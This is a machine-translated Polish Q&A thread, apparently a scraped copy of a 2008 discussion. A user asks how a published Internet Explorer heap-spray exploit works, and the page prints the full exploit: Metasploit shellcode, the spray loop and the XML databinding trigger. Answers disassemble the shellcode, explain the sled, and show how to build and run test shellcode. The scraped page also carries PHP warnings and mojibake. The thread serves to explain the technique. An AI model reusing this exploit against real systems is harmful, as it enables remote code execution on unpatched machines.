Pomóż mi zrozumieć ten exploit JavaScript
Zwykle nie mam trudności z odczytaniem skryptu JavaScript, ale ten nie mogę zrozumieć logiki. Kod pochodzi z exploita, który został opublikowany 4 dni temu. Znajdziesz go pod adresem milw0rm .
Oto kod:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Oto, co wierzę, że to robi i chciałbym, żebyś mi pomógł w tej części, którą źle zrozumiałem.
Zmienna shellcode
zawiera kod do otwarcia calc.exe. Nie rozumiem, jak znaleźli ten dziwny sznurek... dowolne pomysł?
Drugą rzeczą jest zmienna spray
. Nie rozumiem tej dziwnej pętli?
Trzecią rzeczą jest zmienna memory
, która nigdzie nie jest używana, dlaczego ją tworzą?
Ostatnia rzecz, co robi znacznik XML na stronie?
Update
W porządku, na razie mam dobre odpowiedzi, ale głównie bardzo
Generale. Proszę o więcej wyjaśnień na temat wartości
kod. Przykładem jest unescape("%u0a0a%u0a0a");
. Co to znaczy?
To samo dotyczy pętli, dlaczego programista pisz:
length < 0xd0000
? Chciałbym głębszego zrozumienia, a nie
tylko teoria tego kodu.
9 answers
Shellcode zawiera instrukcje montażu x86, które wykonają rzeczywisty exploit. spray
tworzy długą sekwencję instrukcji, które zostaną umieszczone w memory
. Ponieważ zwykle nie możemy znaleźć dokładnej lokalizacji naszego kodu powłoki w pamięci, umieszczamy przed nim wiele nop
Instrukcji i skaczemy gdzieś tam. Tablica memory
będzie zawierała rzeczywisty kod x86 wraz z mechanizmem skokowym. Podamy spreparowany XML do biblioteki, która ma błąd. Gdy jest analizowany, błąd będzie powoduje przypisanie rejestru wskazników instrukcji do jakiegoś exploita, co prowadzi do wykonania dowolnego kodu.
Aby zrozumieć głębiej, powinieneś dowiedzieć się, co jest w kodzie x86. unscape
zostanie użyty do umieszczenia sekwencji bajtów reprezentowanych przez łańcuch znaków w zmiennej spray
. Jest to poprawny kod x86, który wypełnia dużą część sterty i przeskakuje na początek kodu powłoki. Powodem warunku końcowego są ograniczenia długości łańcucha znaków silnika skryptowego. Nie możesz mieć ciągów większych niż określona długość.
W x86 assembly, 0a0a
reprezentuje or cl, [edx]
. Jest to efektywnie równoważne instrukcji nop
dla celów naszego exploita. Gdziekolwiek wskoczymy w spray
, przejdziemy do następnej instrukcji, aż dotrzemy do kodu powłoki, który jest kodem, który chcemy wykonać.
Jeśli spojrzysz na XML, zobaczysz 0x0a0a
jest tam też. DokĹ ' adne opisanie tego co siÄ ™ dzieje wymaga konkretnej wiedzy o exploicie (trzeba wiedzieÄ ‡ gdzie jest bug i jak jest eksploatowany, czego Nie wiem). Wydaje się jednak, że zmuszamy przeglądarkę Internet Explorer do uruchomienia błędnego kodu, ustawiając innerHtml
na ten złośliwy ciąg XML. Internet Explorer próbuje go przeanalizować, a błędny kod w jakiś sposób daje kontrolę nad miejscem pamięci, w którym istnieje tablica (ponieważ jest to duży kawałek, prawdopodobieństwo przeskoczenia jest wysokie). Kiedy tam skoczymy, procesor będzie wykonywał or cl, [edx]
instrukcje aż in osiągnie początek kodu powłoki to jest zapisane w pamięci.
Zdemontowałem shellcode:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
Zrozumienie tego shellcode wymaga znajomości montażu x86 i problemu w samej bibliotece MS( aby wiedzieć, jaki jest stan systemu, gdy tu dotrzemy), a nie JavaScript! Ten kod z kolei wykona calc.exe
.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2010-01-12 21:13:56
Powinieneś zajrzeć do sterty:
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2008-12-19 15:01:33
To wygląda jak exploit najnowszego błędu Internet Explorera, dla którego Microsoft wydał łatkę awaryjną. Wykorzystuje wadę funkcji databinding w programie obsługi XML Microsoftu, która powoduje nieprawidłowe dealokowanie pamięci sterty.
Shellcode to kod maszynowy, który będzie uruchamiany po wystąpieniu błędu. Spray i pamięć to tylko niektóre miejsca przydzielone na stercie, aby pomóc w zaistnieniu warunków eksploatacji.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2008-12-19 15:06:16
Rozpylanie sterty jest powszechnym sposobem na wykorzystanie rzeczy z przeglądarki, jeśli jesteś w to zamieszany, możesz znaleźć kilka postów takich jak ten: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2008-12-19 15:34:37
Za każdym razem, gdy widzę pamięć, która nie jest adresowana w dyskusji exploita, moja pierwsza myśl jest taka, że exploit jest rodzajem przepełnienia bufora, w którym to przypadku pamięć powoduje przepełnienie bufora lub jest dostępna po przepełnieniu bufora.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2008-12-19 14:58:46
Pochodzi z metasploita, co oznacza, że używa jednego z kodów powłoki metasploita. Jest open source, więc możesz go pobrać: http://www.metasploit.com/
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2008-12-19 15:32:58
Aby uzyskać więcej informacji na temat samej luki, proponuję przeczytać MS08-078 i SDL.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2008-12-19 16:17:28
Zobacz kodowanie znaków w HTML.
To dane binarne zakodowane jako ciąg znaków, który dekoduje JavaScript.
Popularna forma XSS również.
Możesz zobaczyć wszystkie triki kodowania tutaj:
Http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2009-12-19 14:38:03
Prosty przykład shellcode
Hello world in assembly AT&T syntax x86 I believe (Wizard in Training).
Ustaw plik: vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
Kompiluj tak: as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Teraz masz plik binarny, który wyświetla hello world.
aby przekonwertować kod binarny na kod powłoki wpisz: objdump -D shellcode
Otrzymasz wynik:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
Teraz, jeśli spojrzysz na 4. linijkę z tekstem, zobaczysz: 400078: eb 1a jmp 0x400094
Część, która mówi {[9] } jest szesnastkowa reprezentacja instrukcji asemblera jmp one
gdzie " one " jest adresem pamięci Twojego ciągu znaków.
Aby przygotować kod powłoki do wykonania, otwórz inny plik tekstowy i zapisz wartości szesnastkowe w tablicy znaków. Aby poprawnie sformatować kod powłoki należy przed każdą wartością szesnastkową wpisać \x
.
Nadchodzący przykład kodu powłoki będzie wyglądał następująco zgodnie z wyjściem polecenia objdump:
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
Ten przykład używa C dla tablicy. Teraz masz pracę shellcode, który będzie zapisywał na stdout "hello world"
Możesz przetestować kod powłoki, umieszczając go w luce lub możesz napisać następujący program c, aby go przetestować:
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
Aby skompilować program wpisz:
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
Run with ./run
Wiecie, mam działający przykład prostego tworzenia kodu powłoki, który został przetestowany w linux mint / debian.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2018-07-03 16:40:29